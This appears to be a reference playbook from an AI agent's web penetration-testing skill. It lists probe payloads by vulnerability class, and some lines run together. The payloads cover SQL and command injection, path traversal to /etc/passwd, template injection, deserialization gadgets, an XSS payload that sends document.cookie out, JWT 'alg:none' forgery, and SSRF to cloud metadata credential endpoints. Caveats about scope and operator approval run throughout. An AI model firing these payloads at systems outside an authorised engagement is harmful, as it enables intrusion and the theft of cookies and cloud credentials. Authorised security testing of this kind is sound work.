optional-skills/security/web-pentest/references/exploitation-techniques.md
Per-class playbooks. Use these as starting points for witness payloads. ALWAYS apply scope enforcement before sending anything from this file.
Witness sequence (UNION-blind safe):
' AND 1=1-- (true branch)' AND 1=2-- (false branch)Time-based:
' AND SLEEP(5)--'; SELECT pg_sleep(5)--'; WAITFOR DELAY '0:0:5'--' AND randomblob(100000000)-- (CPU-burn alternative)DO NOT send: '; DROP TABLE payloads. Reproducing the bug doesn't
require destruction.
Witness:
; sleep 5 or $(sleep 5) or `sleep 5`& timeout /t 5; echo HERMESPENTEST-$(id)Blind: time-delay probe is universally safe. Don't rm -rf.
Witness: ../../../../etc/passwd (Linux) or ..\..\..\..\windows\win.ini (Windows).
Try with: URL-encoded, double-encoded, Unicode (%c0%ae%c0%ae),
and SMB UNC (\\evil-host\share — only with operator OK).
Witness:
{{7*7}} → 49{{7*7}} → 49{$smarty.version} or {php}echo 1;{/php}<%= 7*7 %> → 49#set($x=7*7)$xDetection is the 49 (or template-specific equivalent). Don't go to RCE without operator OK.
If you can identify the format:
cos\nsystem\n(S'sleep 5'\ntR. (base64'd, in the
right context). Witness via time delay.!!python/object/apply:os.system ["sleep 5"]Witness: <svg/onload=fetch("/HERMES-PENTEST-XSS-"+document.cookie)>
where the path is one you'll grep for in server logs. NEVER use
alert(1) — pop-ups annoy real users if your "test" target has any.
If reflected unencoded → L3 confirmed.
Witness in a way that ONLY YOUR test account sees first. Use a unique marker per finding. If the marker fires for other users → L4 critical.
Pattern: <svg/onload=fetch("/HERMES-${runId}-${vulnId}")>. Add a
server-side log grep step to your evidence.
Inspect every document.write, innerHTML, eval, setTimeout(string),
Function(string), setAttribute("href", ...) site. The taint source
is usually location.hash, location.search, localStorage,
postMessage data, URL fragments.
Witness: navigate to #. Confirm the
sink fires.
' OR '1'='1 (very old, but check)username: admin, password: admin/password/123456
(only on lab targets, not production){"alg":"none","typ":"JWT"}, strip
signature. If accepted → critical.jwt_tool or hashcat against the JWT
with rockyou.txt (only if you have operator OK to crack).kid set to a SQLi payload or path-traversal
to load a known key.Secure, HttpOnly, SameSite=Strict|Lax.Host: evil.test)Pattern: change ?id=123 to ?id=124. If you see another user's data,
L3 confirmed.
Variants:
is_admin: true, role: adminGET /users/123 works, but PUT /users/123 is
not authz-checkedVertical: regular user → admin endpoint. Check:
/admin/* accessible to non-admin?role field in JWT/session client-editable?tenant_id=mine → tenant_id=theirsHorizontal: user A → user B same role. Reuse IDOR patterns.
Witnesses for SSRF probing (only to hosts the operator approved):
https://hermes-callback.example/abcdef)
— confirms the request left the target's networkhttp://127.0.0.1:6379/,
http://127.0.0.1:9200/, http://[::1]:80/Cloud metadata (operator OK + your own infra):
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://metadata.google.internal/computeMetadata/v1/ (needs
Metadata-Flavor: Google)http://169.254.169.254/metadata/identity/oauth2/tokenhttp://100.100.100.200/Protocol smuggling:
gopher:// for Redis/Memcache/SMTP attacks (only with operator OK)file:/// for local file readdict:// for service probingStrict-Transport-Security, Content-Security-Policy,
X-Content-Type-Options: nosniff, X-Frame-Options/frame-ancestors,
Referrer-PolicyServer:, X-Powered-By:, error stack traces,
default landing pages (/server-status, /.git/, /.env, /phpinfo.php)?next=https://evil.example/ — confirms misuse for
phishing chainsSkip past these — they're working defenses, not vulns:
unsafe-inline/unsafe-eval and
a strict source listsubprocess.run([...])
without shell=True)yaml.safe_load, JSON-only deserializationalg allowlist and iss/aud/exp checks